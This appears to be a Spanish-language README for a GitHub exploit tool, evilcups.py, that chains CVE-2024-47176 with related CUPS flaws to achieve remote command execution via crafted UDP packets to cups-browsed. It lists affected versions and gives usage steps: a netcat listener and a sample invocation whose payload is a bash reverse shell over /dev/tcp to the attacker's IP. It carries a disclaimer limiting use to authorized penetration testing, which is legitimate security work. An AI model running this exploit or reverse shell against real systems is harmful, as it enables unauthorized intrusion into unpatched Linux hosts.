
Exploit en Python para CVE-2024-47176 que logra ejecución remota de comandos en CUPS cups-browsed mediante paquetes UDP manipulados. Incluye entrega de payload de shell inversa para pruebas de penetración autorizadas.
Únicamente para fines educativos y pruebas de penetración autorizadas.
CUPS (Common UNIX Printing System) es un sistema de impresión de código abierto que gestiona impresoras en red. CVE-2024-47176 apunta al demonio cups-browsed, que se vincula a INADDR_ANY:631 y confía ciegamente en paquetes de cualquier origen.
Al crear un paquete UDP malicioso que desencadena una solicitud IPP Get-Printer-Attributes, un atacante puede hacer que cups-browsed se conecte a un servidor controlado por el atacante — y al combinarlo con las vulnerabilidades siguientes, lograr ejecución arbitraria de comandos remotos.
| Componente | Condición |
|---|---|
cups-browsed | Escuchando en UDP 631 (por defecto) |
| CUPS < 2.4.11 | Versiones sin parche |
| Sistemas Linux con CUPS expuesto | Puerto 631 accesible desde el atacante |
| CVE | Descripción |
|---|---|
| CVE-2024-47176 | cups-browsed confía en cualquier paquete UDP en el puerto 631 |
| CVE-2024-47076 | libcupsfilters no sanitiza atributos IPP |
| CVE-2024-47175 | libppd inyecta datos no sanitizados en archivos PPD |
| CVE-2024-47177 | cups-filters permite ejecución de comandos a través de PPD |
nmap (opcional, para reconocimiento)1. Clona el repositorio:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. Instala la dependencia de Python requerida:
pip install ippserver
3. Inicia un listener en tu máquina:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
Ejemplo — shell reversa:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
Después de ejecutar el exploit, activa un trabajo de impresión en el objetivo (o espera una verificación automática) para ejecutar el payload.
Este repositorio está destinado únicamente para fines educativos e investigación de seguridad autorizada. Usar esta herramienta contra sistemas que no poseas o para los que no tengas permiso explícito por escrito es ilegal y poco ético.